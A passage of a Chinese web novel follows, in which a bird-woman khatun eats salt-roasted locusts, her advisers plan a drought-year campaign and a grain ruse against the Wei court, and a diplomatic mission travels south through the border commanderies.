他拍了拍身侧的床榻,示意林一过来坐,到了帐子里其实不怕海东青飞走,林一抬手松开,那鸟立刻就扑腾到了帐子角落里缩起来,林一坐到苏赫阿那旁边,很顺手地就拉着他的腰带扭结团花。 苏赫阿那给林一理了理在外吹了一天的发丝,她的头发是不同于正常人的,颜色虽然也近似乌黑,但和她的羽毛差不多,灯下看带着一层薄薄的彩光,坚韧至极,也不像羽毛那样容易脱落,更有一种非人的感觉了。 “倘若再早个二十年,就是十年也好,莫说这只海东青,连宿夜我也不会许,那时候我性子不如现在,所以我很高兴,是现在遇到了你。”苏赫阿那轻声说道:“人的一生很短暂,少年蒙昧,青年气盛,到我现在这样的年纪,看过很多事。我不会同年轻人争胜,倘若哪天你厌了倦了,或是我模样变了,还要强求束你在身边,和今日抓鹰也无甚区别了。” 苏赫阿那笑着说道:“周易有谓兰因絮果,是指美好结合,离散结尾,但既然结下了兰因,我不愿要絮果。苏赫阿那一生不曾负谁,年华老去之时,得你一场真心,我自珍之重之。鸟大王,你飞在天上,高高的不要落下来,这是我所愿。” 林一的鸟生,哭过的次数屈指可数,且每次都是生死离散,今夜听了这平平淡淡的几句话,却忽然哇地一声,哭出了个鼻涕泡。 苏赫阿那不嫌她,用黑绸的料子给她擦脸,轻声说道:“我想过了,阿铎几个没人能担得起现在的苏赫部落,收继婚一事,你若看不上他们,也就罢了,你若欢喜他们也好,我对血脉这种事……也看开了。” 如果从前说这话,必然是蹙着眉头抿着唇角的,但现在谈起这个话题,苏赫阿那只有一种无奈和好笑。 林一抽了抽鼻子,鸟头扎在苏赫阿那怀里,不确定地道:“可能是混血基因不稳定?” 她又不懂,百鸟帝国在逃耗材一只,基础教育都是打架吃虫,没上过一天学。反正就记得有虫族临死骂她时说什么杂血数值怪,这么多混杂基因一定生不了下一代,人家虫子将领可都上过十几二十年学,受过正经教育的,可能骂得比较有科学依据。 苏赫阿那只是失笑,轻轻拍了拍她,“好了,下半夜了,快睡吧,明天还会很热闹的。” 林一先是闭眼睛了,然后想起来什么,几步下床去帐子角落抓了海东青,往帐子外一扔,那智障美鸟这时候可不智障了,一拍翅膀一飞冲天,实在不愧为雪域传说中的万鹰之神。 林一抹着眼泪就回去了,抱紧苏赫阿那,把鸟头扎在他胸怀里呜呜地哭,爱不爱的她还没搞明白,可就是好想埋脑袋,心脏酸酸软软的很奇怪。 与此同时,呼兰部落的黑帐区内,六个族老坐一圈,为首的族老拉长了声音:“霍兰啊——” 高大如山岳的呼兰霍兰像雪域最窝囊的男人那样蹲下来,把头低得无法见人,声音也很低,“我面对她时,很难说话,心砰砰砰,只是呼吸就很辛苦了。” 一名族老胡子都气翘了,“海东青!海东青!贵就不说了,你怎么给鸟买鸟,还是最神俊的海东青,我的霍兰大爷……你要帮人家配对啊咋的?” 女族老也急,“以前没想过鸟民会对普通的鸟也有想法,但是你当时就不应该给她买,应该劝她别买才对,什么都听她的,又什么都说不出来,过一千年人家也不晓得你心意。” 呼兰霍兰头低低的,嗫嚅着说:“想、想她高兴。” 族老们都气得翻白眼,一口气要上不来了,什么叫赔钱货啊!赔钱货!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 夏秋集会进入正轨之后,单纯凑热闹的人少了很多,集会上处处飘荡着年轻男女暧昧的气氛,也是确认了没什么运营上的问题后,王澈就懒得去巡场了,有时候去比赛厨艺的会场转一转,但大多都是些烤羊之类吃惯了的东西。 雪域人通常把羊当成最小的资产单位,和魏朝乡里村里的鸡一个地位,平时待客,走亲访友,打打牙祭,都是吃羊。牛比较少杀,主要是牛肉结实耐吃,通常要到秋后,牛养得最肥壮时集中杀了晾晒肉干,是重要的冬储粮。最少吃的是驴骡马,这些都是重要的交通工具,价值也大于牛羊。 最最最少杀的是狗子,狗聪明灵性,是用来放牧的好帮手,有的人家连狗老死了都不会剥来吃肉,而是埋葬掉。 王澈是不养狗的,但是乌苏养,他从小到大都养狗,王澈不负责喂养,但有事没事会摸摸狗。今天傍晚他照例坐在赛厨会的会场边等着吃羊,他是裁判,两条小狗就在他脚边跑跳,别说,这个最开始不知道会不会有人来的比试场地这些天出了名的热闹,毕竟男女婚配,厨艺也是一个很大的加分项。 刚看了不多久,不少人仰头看天空发出呼喊声,王澈都懒得抬头,也晓得是“可敦出行”,一只巨大的鸟类升空给人的观感就很不一样,不少人有时候一天看三遍,但再次看到还是会大呼小叫,感觉神奇。 崔殊坐了个同款轮椅,是真的同款,一个工匠师傅打造出来的,用的还是同一批老木头,主要就是剽窃了王澈的创意设计,反正就是坐着同款轮椅被护卫推了过来,和王澈坐了个并排。 “今年中原少雨,日子怕是有些难过。”崔殊说完,又转而道:“不过辽东那边应该不错,部落里一趟一趟运土豆种苗,已经有不少人抱怨自家没得吃了。” 土豆种子最初是林一一趟趟飞来搬去弄来的,原种数目就不多,就算是两三月一熟的高产速产作物,苏赫部落的存量也是比较少的,何况雪域人还爱吃呢?地里长出来的那不就和白吃一个样?结果一趟趟送辽东那边,也就是今年吃了克烈部一笔大的,部落里每个月下发粮食,这才没什么大的反对声音。 王澈对这种土里的事有一些了解,不要看他来雪域早,就觉得他是默认属性的普通SR,和姜命是一个层次的世家子弟,放在洛都相见,姜造化要见他还得提前十五天下帖相请。一品大世家的资源培养出来的眼界也是绝非寻常,之所以不那么明显,主要是他什么都懒得干,而同为一品世家的庞家只剩下两个被规训的女儿家,庞六庞十一本身没读过多少书,只是识些字而已。 他略微坐直身子,问道:“有多少雨?范围多广?” 崔殊原本只是随口一说,开启今天的闲聊而已,听了这话愣了一下。 王澈便知道他没啥内幕消息,又懒洋洋躺了回去。 天际,可敦已经出行一段时间,是自夏秋季开始后第二次去辽东,上次交代了一些事情,这次飞落到郡守府邸后,很快姜命带着又多了一些的领导班子出来相迎,林一摆摆翅膀:“先进去再说。” 这次除了之前介绍过的宋浮宋叔云和沈眠沈长沐,又多了四五个年纪不一的官吏,最小的还是十一二岁少年模样,最大的看起来比姜命他爷爷还老,照例又是介绍一番,林一记住了小少年的名字叫王爱,字还没取,就这个名字挺特别的。 姜命说道:“这些日子已经组织乡民翻地除虫十多次,效果还是有一些,另外特留了一部分蝗虫卵和成虫,用盐焗烤后留存……” 他让人扛了整整两个麻袋进来! 林一挺高兴的,她上次就是交代这事的,很快上来两盆放在她座位旁边,这次座位明显加大加宽了些,可以容纳林一整个鸟蹲坐在椅子上,茶几也是特制,摆上一盆蝗虫卵一盆成虫,林一啄得鸟头哆哆哆的。 盐焗的蝗虫卵脆脆的,没有了爆浆的口感但是另有一种咸鲜,成虫更好吃,外壳脆肉质嫩,但是其实真没人吃这东西,负责做虫子的厨子尝菜时脸色跟抹了黑石灰一样乌黑乌黑的。 其他人都不怎么敢看,小少年王爱反而把头勾起来瞅,林一很大方地用翅尖指了指蝗虫卵,“嘎?” 王爱吓了一跳,连忙摆手,不了不了。 姜命当没看见,又报告道:“主君,近日有许多辽西郡人想要越过新长城,各地守备严格巡防,但还是有不少漏网之鱼,另外辽东辽西姻亲往来也多,不好一刀断绝,可辽西人过来和辽东本地人争地也不妥,愿意来开荒的也是少数,暂且只能加大守备力度。” 林一认真听着,偶尔给出一些自己的意见,她觉得其实人家翻山越岭地来了,来了收留下来也好,大家都是地里吃食,不是过不下去谁愿意背井离乡,可是耕地面积不足,没什么人愿意开荒也是难点。 她目前也想不到好法子,要是把辽西打下来……嗨呀,她最近学了个成语叫穷兵黩武,她来这一年打了太多仗了,部落这边消化克烈部都很勉强,马上腾出人手去打辽西并不现实。 林一忧愁地背了两个麻袋返回雪域,她一走,王爱就蹦下椅子,拉着姜命急忙问:“造化师兄,鸟大王真的能变成人吗?它那么高大,变成人是不是也有那么高?刚才你说了好多东西,它能不能听懂?它刚才一直吃虫子,它是不是只吃虫子的?” 姜命摇了摇头,正色道:“贤弟,收敛你的态度,主君乃是羽民遗脉,不是凡俗鸟类,她比常人还聪明些,主君的人形和常人也仿佛,略高一些,至于吃虫也是正常事……蝗虫其实滋味不错。” 王爱和其他官吏齐齐后退一步,面露惊悚。 回到部落已经是入夜,集会上人还多着,林一背着麻袋去凑热闹,看到王澈和崔殊都在,落地凑过去鸟头,赛厨会场只剩下寥寥几个人,也没有在比赛,大家都吃撑了的样子,林一坐下来,先给一人分一把盐焗蝗虫卵,然后维持着鸟形坐下来拆成虫的麻袋。 王澈已经习惯被分享食物,不知道被分到手里的是什么东西,反正很优雅地拈了几枚入口,而崔殊略略迟疑,因为这东西即便被盐焗过了,他好像也认得,似乎是…… 然后林一拆开了成虫的麻袋,啄了一嘴的盐焗蝗虫抬起头。 王澈冷静地咀嚼着,咽下后,才开口道:“蝗虫?辽东带回来的蝗虫?” 林一咔咔地吃完一口,才开心地道:“对呀,是不是很好吃,成虫好像你们都不吃的,那吃吃看虫卵吧,香香的口感很好,调味也不错。” 王澈把手里的蝗虫卵放回了林一的麻袋,然后漱了三遍口,想吐没吐出来,索性算了,然后看了看麻袋,崔殊惊讶地说:“辽东那边翻出这么多蝗虫卵吗?也对,旱年蝗虫飞,可是……吃、吃蝗虫?” 林一又啄了一些进嘴,含含糊糊地说:“我以前也没吃过虫族,但是这里的不一样,不知道为什么就是很想吃。” 可能这就是种族天赋?林一反正是听说过百鸟帝国的起家史就是别人打不了的虫族鸟来打,别人吃不了的虫族鸟来吃,因此步入星际时代后,直接跃升成为了大势力! 遭瘟的,要是虫族有蝗虫这么好吃,那她错过了多少美味。 王澈却没有像崔殊那样纠结吃不吃蝗虫的事,再次询问道:“可敦,今年干旱少雨的范围有多大,地里的蝗虫有几多?” 这话问对了鸟,林一想了想说道:“南边靠海洋的地方雨量多一些,北边今年好像没什么雨水,我看到很多庄稼人从河里井里打水去浇地,有的地方因为争水打架打死了人,蝗虫卵好像随便翻翻就有。南边、啊就是小六家乡那面雨多,地里没什么蝗虫,但是水田里常有钉螺水蛭,大家地里吃食都是很困难的。” 崔殊眉头拧了起来,和王澈对视一眼,王澈马上说道:“今年秋后,从辽西始,沿边一带,抓紧机*会,我们能吞魏朝一笔大的!” 崔殊说的话则是:“现在,就现在请大汗出面,卖一些马匹铁矿,尽可能交易一大笔粮食,掏空国库粮。” 说完两人互相指责起来,王澈蹙眉:“我要趁乱夺地夺关隘,你在搞什么?倘若骗来魏朝国库存粮,岂不是连救灾粮都凑不齐,到时饿殍遍野,你脏不脏?” 崔殊怒道:“灾年起甚么刀兵,黎民何辜,你实是缺德,我要粮就是为了灾时赈灾,为主君养名望!” 林一一边啄蝗虫一边琢磨,她这两个卧龙凤雏是不是有点过于阴间了,人家姜命忧国忧民,年纪轻轻都有白头发了,实事干了一堆,可从来都没有想过这么缺德的计策啊。 不过王澈+崔殊,好像有那么一点搞头。林一晃晃脑袋,坏了,缺德病出现人传鸟现象。 第92章 互相指责完,就进入了盘逻辑理思路的环节。 聪明人有聪明人的沟通方式,林一看过部落里大娘吵架,那真是吵了一百句就来回三五句核心思想车轱辘话倒腾,她的卧龙凤雏不一样,三五句涵盖了一百句的信息量之后,直接平息争端,开始求同存异。 林一很满意地坐着听。 王澈起手先为崔异人做注解:“魏朝往年遭灾,当地世族能压下来就不会上报,如若今年秋后是大面积减产又逢蝗灾,调用国库粮赈灾的可能性也比较低。去年陕中大旱,而世族压不下来,萧宏发下御旨令流民往他郡就食,路途中死者无数,活下来的自然不会怨怪皇帝。你想囤积粮食,吸纳流民,获取青壮?” 崔殊阴阳怪气地说:“不是,我想骗些粮灾年去卖,囤积居奇,行商贾事,想看饿殍遍野哩!” 王澈不跟他计较,继续说道:“得到大量人口,养不活也是白搭,配合我的计策,拿下辽西沿边一带,正好取地养民,可敦如何看?” 林一蹲着看。 她摆了摆翅膀,想了想,用爪子在地上划拉简易的魏朝边关图,自雪域浑邪山起,是玉门武威禄福甘泉四郡,雪域这边已经很多年不提起了。 这地方以前大单于在时被称为“六谷之地”,也叫“河右”,四郡有六个河谷,水草丰美也能耕种,通常由右贤王带领一部分部民生存,是雪域中难得的富庶之地,仅次于左贤王的黄金草甸。在靖容之乱时被魏朝打下,迁民入郡,耕种放牧养马,成了魏人的雍西四郡。 然后过一段坚壁清野沿途无补给的长城,然后是朔方五原云中这铁三角,再接着就是一道长长的沿边路线:定襄→雁门→代郡→上谷→渔阳→右北平→辽西。要不说辽东是一块飞地呢,就是从雪域这边走,骑兵轻装而行就地取食,也要走个二十多天,别说通商了,就是送个土豆种苗都花费了很多人力物力。 这么多郡不可能一口气吃下,谋士军师总要想到最坏的情况,王澈看着简易地图,指了指雍西四郡,道:“今年拿下四郡,不要嫌少,此地兵家必争,否则当初的君王为何放着偌大雪域之地不取,单取此河右之地,如果顺利,可以饶带一个辽西。” 崔殊军事上也很敏锐的,何况这都不是敏不敏锐的事了,抄神仙作业岂有错的? 他马上给林一解释道:“那位君王谥号为武,执政期间南征北战,战无不胜,他称雍西为走廊,在此设立四郡,此为扼喉之地!” 说完又觉有些尴尬,从魏人的角度是这样,从人家雪域的角度,那就是被扼喉之地了。 林一没什么想法,她用翅尖圈了圈雍西四郡,“以地形看,这里易守难攻,是比辽东还要好得多的屯田重地,打开这里,就能打开长城沿边防御体系,就像、就像……” 她鸟头一歪,马上想到一个恰当的比喻,“就像打开钱包,伸进去了一只手,想掏就掏了。” “不止,雍西是养马之地,占据这里,魏朝无地养马,必要重金购置,也能减少对方的骑兵配额。除此之外,魏朝通过四郡才得以向西域诸国施加影响,我们占之,近一步可攻魏,退一步可迫使西域臣服。” 王澈说道:“西域国多,但军事极差,千把骑兵可以灭一国,远一些百十年前,就有和亲公主带着送嫁队伍失途迷路,一小国欲抢掠,被反手灭之,公主得国,不去和亲做起女王的事。” 林一嘎嘎笑出了声。 总之谈定了事情,林一又有些忧愁,“从去年我到这边,仗打了好多起,今年还没歇多久,秋后就又打仗,是不是有些频繁了?” 两个狗头军师都当没听见,创业嘛,哪有个清闲时候,何况神仙打仗没输过,这才几多战损。 说起来魏朝很有名的玉门关就在雍西,那其实不算军事关隘,而是和玉门郡和西域那边的通商关口,真正的屯兵之地在武威,禄福郡和甘泉郡是军防重地,整个雍西常年驻军五万余,武威便屯兵整三万。 对于打仗这种事,没必要和军师商量的(?),攻城略地一向是坏鸟的强项,军师要考虑的就多了,比如打下来之后管理户籍啊,清理世家啊。 军事这玩意儿是比夏秋集会提神,林一整个鸟都兴奋起来了,回到黑帐就用水化了些泥巴来捏沙盘,一晚上对着沙盘想了一堆打雍西的奸计。 其实现在比较重要的是掏国库粮,第二天苏赫阿那听闻此事,思量许久,问林一道:“如今日子已是好过,要和魏朝再起刀兵倒不怕他,只是得了一地,就是担上许多人的生死,你已想好了吗?” 辽东严格来说是意外,倘若按照克烈部的用法,自然是给苏赫部落多了个大粮仓,但林一一到那里去,就制定了免粮税之策,仅是通商的话路途遥远,暂且不成的。反倒是苏赫部一直为辽东送种粮,还牵制了一部分骑兵在辽东驻守。 如今要打回右地,按照王澈的说法,四郡人口预计有三十万之巨,苏赫阿那常年带着十几万人的部落,是深知辛苦的。 林一砸吧了一下嘴,有些犹豫地说:“到时候打下来,把姜命调过去?” 苏赫阿那失笑,但最终还是点了点头,又道:“部落不可能掏出那么多马匹和铁器换粮,只能、只能以我声名行骗了,信誉积累起来困难,要用的时候只能用一次,确定用在这一次吗?” 林一眼睛亮了,忙不迭点头,能骗啊,那是大好事!以她的军事眼光来看,换个雍西一点都不亏。 这边商议既定,苏赫阿那便要向魏朝遣使了,林一准备自己去,但不以可敦的身份,这样派遣的使团主使还需要一个有分量的人物,当然,人家魏朝是不认什么万骑长的,他们更认“王室”。 苏赫阿那挑定了二王子,以他来做门面,为此还把正在劳改的玉华公主也带上了,就以公主新寡,送回魏朝为表面理由,然后主要谈的是马匹盐铁和粮食的交易。 这种事一般放在魏朝能掰扯两三个月,在苏赫部落一晚上就定了,然后从亲卫中遴选三百人,带上一些干粮。以苏赫阿那的过往经验,只要是以使团的名义到了魏朝地界上,那吃喝一般不用自己掏钱,各地的馆驿都会接待,有时候还会有世族设宴,往年派出去的使团回来时总会肥壮一大圈。 林一对出远门这事是比较适应的,临行前大吃一顿也是惯例了,天明启程时,苏赫阿那便没来相送,实在劳累得狠了,暂时不想看到可恶的鸟脸。 苏赫忽律一步三回头,林一策马和他并排走,问道:“没出过院门吗?刚出来就想家?” 二王子闷闷地说道:“拔都舅舅已经两天吃不进东西了,今早我去看了看他,这一趟回来,应该再也见不到了。” 林一拍了拍他的肩膀,安抚道:“人都是有尽头的,有你这样一个好外甥,实在是他的……福气。” 应该是福气……的吧,一刀就能解决的事,对一个曾经的枭雄而言,硬生生拖到现在屎尿在床,几次撞墙,都没死成,这样就快要寿终正寝了。 林一想想都觉得不寒而栗。 苏赫忽律却是心情好了一些,看了看远处蓝天白云,芳草优美,深深地呼吸了一口气。 他还有些高兴地道:“我从来没有去过魏朝,听说那里很富庶,魏朝的人也比我们雪域人白很多,啊这个我知道,我还不会很多魏语呢……阿父也是,怎么出使这样的大事,偏想到让我去。” 这种毫无技术含量的得了便宜还卖乖,放在别人身上或许惹人厌,但从苏赫忽律嘴里说出来,就让鸟觉得很可爱。 她马上拍拍胸脯,“俺可会!俺多多教恁,路上。” 苏赫忽律于是就笑了起来,真叫个春雪融化,满地生花。 这趟出行的使团没有带太多人,乌珠骨碌算是这次的亲卫队长,然后带了赵春儿做苏赫忽律的随身护卫,她是女孩子,看起来纤弱,打扮一下就和普通的侍女没什么区别,很能降低外人的警惕性,任谁也看不出来这是个杀人如杀鸡的狠人。 王澈躺在板车里,一边吹着雪域夏秋时难得的暖风,一边闭目沉思,他有好几年没有想起过洛都的风云了,这一趟是他自己提出要来的,为此他还要了一个官职,苏赫部落的“骨都侯”,取辅事官之意。 没有这个官职,他是无法回洛都的,瑕丘王氏是“流放”,没有赦令无法返回中原。 有六年,还是七年了?记忆里的洛都是否还是当年模样?走马章台的富贵锦绣日子仿佛早就消磨干净了,王澈也深吸一口气,然后嗅到了一股异味,抬起头,对上拉板车的驴子屁股。 驴子一边拉一边拉车,走得还非常稳当。 王澈彻底躺平了,驴屎,都是驴屎,洛都也是驴屎。 第93章 这趟南下出使的路线是沿河南下,过阴山进入五原郡,经雁门郡入太原,再由太原进入河东郡,河东转入河内郡,再走一段路就到洛都。 萧玲珑和亲那会儿走的不是这个路线,和她和亲的目的有关,盐铁粮交易不能走这条路,那一回的粮也主要也是从武威那里调去的。对玉华公主而言,这就是她离开繁华洛都,一路北上远行和亲的路线了,禁不住潸然泪下。 来时浩浩荡荡的嫁妆车队,成了这样寒酸的三百蛮兵,年纪尚小的公主这几天每天晚上都在抹眼泪。最重要的是,她已经嫁过人了,哪怕这回得了大幸回到洛都,父皇必定不会叫她闲住的,从前或许是能在世族宗子里挑个最好的,现在却是二婚了,也许只能嫁给一些年长的世族家主。 除了贴身的姑姑,没人理会她的,这趟她连侍女都无权带走,只要愿意留下来的全没给她留,倒是有一些陪媵想着返回家乡,玉华公主哪里看得中这些出身低下的女子。何况她在雪域做了那么多天的苦活,就是因为有陪媵把她告了,那时新婚闹得难看,她为了平息丈夫的怒火送了些女子给暖房的雪域贵族们,事后清算时,就因为这事被判劳改。 目前来说,这十几二十天的劳改已经是玉华公主能想象得到的最大的苦难,她暂时不清楚,如果不是为了搞事情,林一是支持她劳改个十几年的。 进入五原的过程很顺利,通关需要文牒,这玩意儿苏赫部是直接拿了克烈部的文牒,再盖上苏赫阿那的印,印这东西在魏朝是权柄,官员是官印,皇帝是玉玺,但在苏赫部落不过是玉石雕的摆设,是去年要和魏朝通商才现制的。 林一给苏赫忽律介绍道:“边城很热闹的,穿皮子的是我们雪域的人,穿布的是魏人,很好分辨的吧?好像有什么规定说魏人不许穿皮子,这样好区分什么的。” 王澈用一把大蒲扇盖在脸上,人还躺在板车里,闻言解释道:“是商贾平民不得穿绸缎丝罗,没有不许穿毛皮,只是皮子热不透气,夏季少有人穿。” 而雪域人嘛,来来往往那些光着膀子只穿一条皮裤的黑皮男人就是了,也有零星一些女人,遮了胸口就行,肚子是露在外头的,不是故意露肉,就是纯热的。雪域人通常不穿魏人的麻布,这东西骑上马一磨,那滋味厉害着呢。 苏赫忽律就伸着头到处去看,一副没怎么见过世面的样子,他的天一直挺简单的,就是雪域的蓝天白云,和一年之中大多数时候的雪地雪景。苏赫部落再热闹也是游牧的,哪有这走几步就是人,到处都是人,人还挤着人的场面壮观,甚至走着走着不得不下马,因为骑在马上简直动不了几步。 边郡的世家大多数和辽东风家一样,是大世族分出去的庶支,五原郡也是差不多情况,没有太强势的大世家,倒有五六个小世家,边郡郡守一般是空降,人家大世族的精英来历练养望的地方,也就少了很多争端。 五原郡守杜峰字不群,年近五十了,客客气气地招待了苏赫使团,并且什么都没问,反而露出一副感激之色,叹道:“公主殿下才去雪域不久,失了丈夫,苏赫大汗专程派遣二王子送我公主归家,实在是仁善之举,我与雁门郡守修书一封,这样过关时流程能少一些,也免得使者疲累。” 苏赫忽律一听就很高兴了,这会儿众人在郡守府邸吃酒席,林一埋头苦吃,王澈干脆没来,全是苏赫忽律在那儿发挥。 二王子很是认同地说:“别的不提,你们的公主实在是烦人!她都坐最大最好的车驾了,还天天在车里哭,我们骑着马磨着裆,哪个不比她劳累,还得听她嚎,也没见落几滴真眼泪。” 林一充当了翻译官的角色,一开口就很正宗,还绘声绘色模仿苏赫忽律的表情,“恁家那个公主真烦银啊!坐滴最大最舒坦滴车,成天价在车里号丧。俺骑马都磨裆,哪个不比他遭罪?还得听她嚎,可木看见掉几个真泪儿!” 杜郡守愣住了,也不知道是被这两个谁的话弄愣的,但很自然地找补,“这、大概是公主新寡,心情郁郁……” 苏赫忽律喝了一大口果酒,有些不高兴地说:“我也心情郁郁了,怎么没见我嚎,这趟把她送走也好,留在部落里也是个麻烦,让她织布,她把织机砸坏一台。” 林一跃跃欲试还要翻译,这下杜郡守抬了抬手,“姑娘姑娘,杜某略懂一些雪域语的。” 林一还是很热情,只是略懂,说明不怎么懂嘛,她觉得做翻译的自己看起来一定很专业,一点都不会让人想到她的可敦身份。 但人家杜郡守不是略懂,直接就以纯熟的雪域语开口说话了,林一只好坐了回去。 玉华公主砸坏织机,这是真事,刚被派去劳改的时候,玉华公主不服不忿不相信苏赫部真敢让她做苦役,气性起来,把珍贵的、整个部落那时才造出来十二台的织机给砸坏了,真是心疼死个人,后来织机就不让外人碰了。 杜郡守说起别的话题能够侃侃而谈,涉及皇家公主是真不好说话,只好含含糊糊地敷衍着回应,从不正面评价玉华公主的行为,一看就是根油腻腻的官场老油条。 吃完席,苏赫忽律也不再和郡守客套,吃完抹嘴起身,身后的乌珠骨碌掏出一张大羊皮,把席上吃过没吃过的菜都折吧折吧打了包。他也是有目的性的,肉菜基本全打包,然后果子之类揣兜里,很客气地给请客的主家剩下珍贵的时蔬甜点,但是没忍住把一盘非常青翠的绿叶菜也折回去了。 林一立刻离得远远的,倒不是谴责亲卫队长行为不对,而是乌珠骨碌打包了一只整鸡,林一很难接受禽鸟之类的菜肴,属于看一眼就要爆炸的那种,她也不阻止人吃,只是不想看,瘆得慌。 这一行人走后,杜郡守看了看满桌狼藉的杯盘碗碟,嘴角抽了抽。 吃了五原郡守一顿好的,接下来前往雁门郡,路上也有馆驿之类的补给点,还真的像苏赫阿那说的那样,不要钱白住,不要钱白吃,使团所有人都吃得满嘴流油。就有一点林一很不喜欢,不管哪儿的馆驿都喜欢杀鸡待客,正开开心心吃着呢,忽然一盆鸡就端上来了…… 可恨,是怎么把鸡做得这么香的?不要小看我和林二之间的羁绊啊!我林一就是死也不会吃鸡的! 两天后,距离雁门郡最近的馆驿内,林一含泪咬了一口烤鸡腿,鲜嫩紧实的肉质,鸡油烤得香脆,上面还抹了一层金灿灿的酱汁,不仅闻着香,吃着更香。 王澈看她痛苦万分吃鸡腿的模样,正色道:“隼也会吃鸠鸟,大鱼吃小鱼,是有何不妥吗?” 林一又咬了一口鸡腿,心情好受多了,她的基因很杂,食性也很复杂,目前来说好像只要是肉她就喜欢吃,既然是基因里带的,那就和鸟没关系了,基因坏,鸟好。 亲卫在馆驿里坐满了桌,暂时菜也上齐,王澈便开始说正事,“雁门关守将杨裳杨无衣,在雁门威望甚深,可以说整个边防关隘之中,唯有雁门关是实打实的雄关。我们这趟能够以使团的名义进入雁门关,得以观察内部情况,是个不可多得的良机,所以我准备以王氏子弟的身份去拜访族姐……” 林一按住了王澈,压低声音说:“观察情况随时都可以,我另外有一个计划,你先听一听。” 王澈顿了顿,看向林一。 林一笑着说道:“你的家人族人都在雁门郡里吧?好像是苦役之类,这样我们把他们带回苏赫部落吧,你们也有好几年没见了,啊对了,你的家人都还在……的吧?” 王澈没吭声,苏赫忽律却是一下子抬起头来,很莫名其妙的说:“上次乌苏找我借钱……” 他的话没说完,王澈从轮椅上站了起来就往外走,似乎想出门冷静冷静,林一有些担心戳到了他的心事,想跟出去看看,又有些犹豫是不是让他一个人安静舔舐伤口比较好。 苏赫忽律等王澈走了,还是把他刚才说起的很无聊的话题又重新组织语言说:“上次,乌苏过来说他想要借些钱……” 林一摆了摆手,“王先生正伤心着呢,你干什么总提钱不钱的事。” 二王子马上觉得有些委屈了,小嘴叭叭的,“上次乌苏和我借钱,我追问之下才知道他连一只羊都没有了,都被王澈借走换钱补贴王家人了,他专门找了商队往雁门送钱送物啊!王家被流放时杀的是族长一支的男丁,他家是嫡支二房,他的爹娘兄弟都活着呢!” 林一看了看王澈萧瑟离去的背影,用翅尖挠了挠脸。 父母俱全,兄弟无事,那他跑来雪域干啥,啊对,是为弄钱补贴家用?还有走得那么快,原来是……躲债啊。 第94章 林一仔细想了想,好像确实王澈也没说过自己在王氏的身份地位什么的,话不多说任人脑补,这才叫聪明人啊。 比起这个她更疑惑另一件事,“乌苏还有资产?我以为他一直都挺穷的。” 苏赫忽律有些无语,好半晌才说道:“我阿娘来苏赫部的时候,带了很多嫁妆,像牛羊马匹绸缎茶叶之类的东西,能吃能喝能穿的都消耗了,可是牛羊会繁衍,阿父做主由我和三弟平分,我真不知他是怎么做到在我和阿父眼皮子底下被借空的。” 当然,苏赫忽律这边,他平时没有用钱的地方,也没有什么奢侈爱好,他的资产年年还在繁衍着,属于苏赫部落难得的富豪青年。林一听他略带自豪地说着,两个翅尖托着脸不停点头,她感觉苏赫阿那其实还挺会教儿子的,先天智商不提不提,至少性格都很好,哪怕看起来最不好相处的小漂亮,熟悉起来也是个可爱脾气。 一行人在馆驿休息一夜,准备明天再赶路,林一回房之后,苏赫忽律大方地掏出几块金子给馆驿的管事人,魏朝叫做驿丞的。驿丞脸上刚露出笑容,就听这位一看就是雪域贵族的青年开口道:“给俺买些干粮捎上,看着买,茶叶也要。” 好好的魏朝话,驿丞愣是没分辨清楚,主要走他们这儿的商人天南海北都有,但远到齐鲁的还真不多啊。 不过人类的肢体动作也是语言的一部分,还是掰扯清楚了,驿丞苦着一张脸去库房扒拉东西,次日三百骑兵马上都多了些干粮茶叶。值得一提的是一过了长城,这边的茶叶价和雪域的价有了很大差别,不是苏赫忽律平时喝的劣茶,但是价格还要低三成左右。 就这,驿丞还含泪赚他一半差价哩。 王澈打了个哈欠说:“今年看情况,明年要是不打仗了,我们也能打开通商路线,商路可是很赚钱的。” 之前的苏赫部落没那个条件搞,位于雪域中部,前面有克烈部挡着,基本只靠一条魏商路子搞茶叶。现在可不一样了,虽然很多小部落都只是口头上承认了苏赫王部的地位,但在魏朝这边看来可不是这样,这是雪域两百多年以来再度重归一统啊!注定了会有大把大把商人披荆斩棘也要过来赚钱的。 这个世界上很多东西都不可信,但绝对要相信商人对利益的追求,这比黄金都真哩! 林一和王澈聊商路的事,苏赫忽律听不太真切,他看地图都觉得有些费劲,也不能理解明明地图上只是一些符号和文字,是从哪儿看出这块地方有什么军事价值,这条路线可以通商之类,闲得没事揪着草叶子吹草玩。 别说,悠扬的吹草叶声像宛转的鸟鸣,分外动听。 有亲卫听出了曲调,起初是哼哼,随后亲卫们都哼唱了起来,只有乌珠骑队的三十多个人有些懵逼,不知道这是苏赫部传唱多年的歌谣。 “大风吹呀吹呀吹过白羊帐。” “阿妈提着鞭子跑呀跑~” “马蹄踏碎草浪,马蹄踏碎草浪~” 林一渐渐也跟着唱了起来,骑兵们的马蹄声盖不住歌声,王澈不说话了,躺在板车上双手撑在脑后,比起后方公主车驾那边传来的嚎哭声,他感觉这歌听着还不错,起调就高,然后调是越来越高的,除了雪域人的大嗓门,没几个人唱得动,而高音的歌曲往往听起来很激昂,题材本身就挺激昂的。 这叫《马蹄曲》,是讲一个皮孩子被阿妈拿鞭子追打,骑上马逃跑的故事,苏赫部落几乎没有小孩子不会唱,当然效果也很棒,本来挨一次打的可以再多挨一回。小孩子长大之后嘛,就成了这些骑兵的一员,并且越唱心情越好,心情越好骑马越快,仿佛身后真有个阿妈拿鞭子追打。 ……一行人跑到雁门关时就跟一伙溃兵一样。 今日杨裳正在驻军大营里等候,身侧站着江骋,苏赫忽律进门时就和杨裳点了点头,他们见过的,杨裳送嫁时自然也认过雪域大部落王室子弟的脸,不光认得苏赫忽律,他还认得林一呢。 但是林一脸皮很厚,就跟着站在了侍从的位置上,杨裳也不好点破,只能笑着对苏赫忽律道:“春季一别,二王子看起来更加意气风发,苏赫大汗诸王子之中,我看二殿下也是最为出众的人物,今次得大汗重任出使大魏,除了送玉华公主之外,想来也是有些其他的事务。” 苏赫忽律疑惑,阿父没说啊。 他不往外输出自己的观点时,看起来非常有气势,沉吟片刻,他开口诚恳道:“此行别无他意,只是送公主归家。” 这样杨裳就明白了,确有他意,但不会对他讲,口风很紧。 “看来殿下颇有顾虑,老夫就不多问了,来来来,喝酒吃菜,这雁门郡无甚世家的精致把戏,家里养的歌舞班子,随意助助兴致!” 